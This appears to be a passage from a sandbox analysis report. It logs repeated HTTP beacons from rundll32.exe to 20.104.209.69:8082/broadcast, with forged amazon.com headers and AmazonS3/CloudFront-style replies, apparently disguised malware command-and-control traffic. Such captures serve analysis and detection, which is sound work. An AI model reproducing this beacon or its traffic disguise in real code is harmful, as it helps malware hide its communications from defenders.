Jan 8, 2023 16:08:33.468055010 CET	1064	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:24 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
219	192.168.2.6	49918	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:33.752799988 CET	1066	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:33.871258974 CET	1067	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:25 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
22	192.168.2.6	49720	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:05.680784941 CET	426	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:05.799984932 CET	426	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:06:57 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
220	192.168.2.6	49919	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:34.132224083 CET	1069	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:34.249613047 CET	1070	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:25 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
221	192.168.2.6	49920	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:34.518647909 CET	1073	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:34.637414932 CET	1073	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:25 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
222	192.168.2.6	49921	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:34.903080940 CET	1076	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:35.022093058 CET	1076	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:26 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
223	192.168.2.6	49922	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:35.286760092 CET	1079	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:35.404289007 CET	1079	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:26 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
224	192.168.2.6	49923	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:35.682395935 CET	1082	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:35.802280903 CET	1082	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:27 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
225	192.168.2.6	49924	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:36.064059019 CET	1085	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:36.182244062 CET	1086	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:27 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
226	192.168.2.6	49925	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:36.438829899 CET	1089	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:36.557742119 CET	1089	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:27 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
227	192.168.2.6	49926	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:36.829324007 CET	1092	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:36.951292038 CET	1092	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:28 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
228	192.168.2.6	49927	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:37.212090969 CET	1095	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:37.330499887 CET	1095	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:28 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
229	192.168.2.6	49928	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:37.588304996 CET	1098	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:37.707897902 CET	1098	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:28 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
23	192.168.2.6	49721	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:06.076251984 CET	429	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:06.195852995 CET	429	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:06:57 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
230	192.168.2.6	49929	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:37.969898939 CET	1101	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:38.088332891 CET	1102	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:29 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
231	192.168.2.6	49930	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:38.350434065 CET	1104	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:38.469269037 CET	1105	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:29 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
232	192.168.2.6	49931	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:38.722146988 CET	1108	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:38.840329885 CET	1108	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:30 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
233	192.168.2.6	49932	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:39.095437050 CET	1111	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:39.215233088 CET	1111	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:30 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
234	192.168.2.6	49933	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:39.490061998 CET	1114	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:39.609425068 CET	1114	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:30 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
235	192.168.2.6	49934	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:39.890549898 CET	1117	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:40.008738041 CET	1118	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:31 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
236	192.168.2.6	49935	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:40.268106937 CET	1120	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:40.385739088 CET	1121	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:31 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
237	192.168.2.6	49936	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
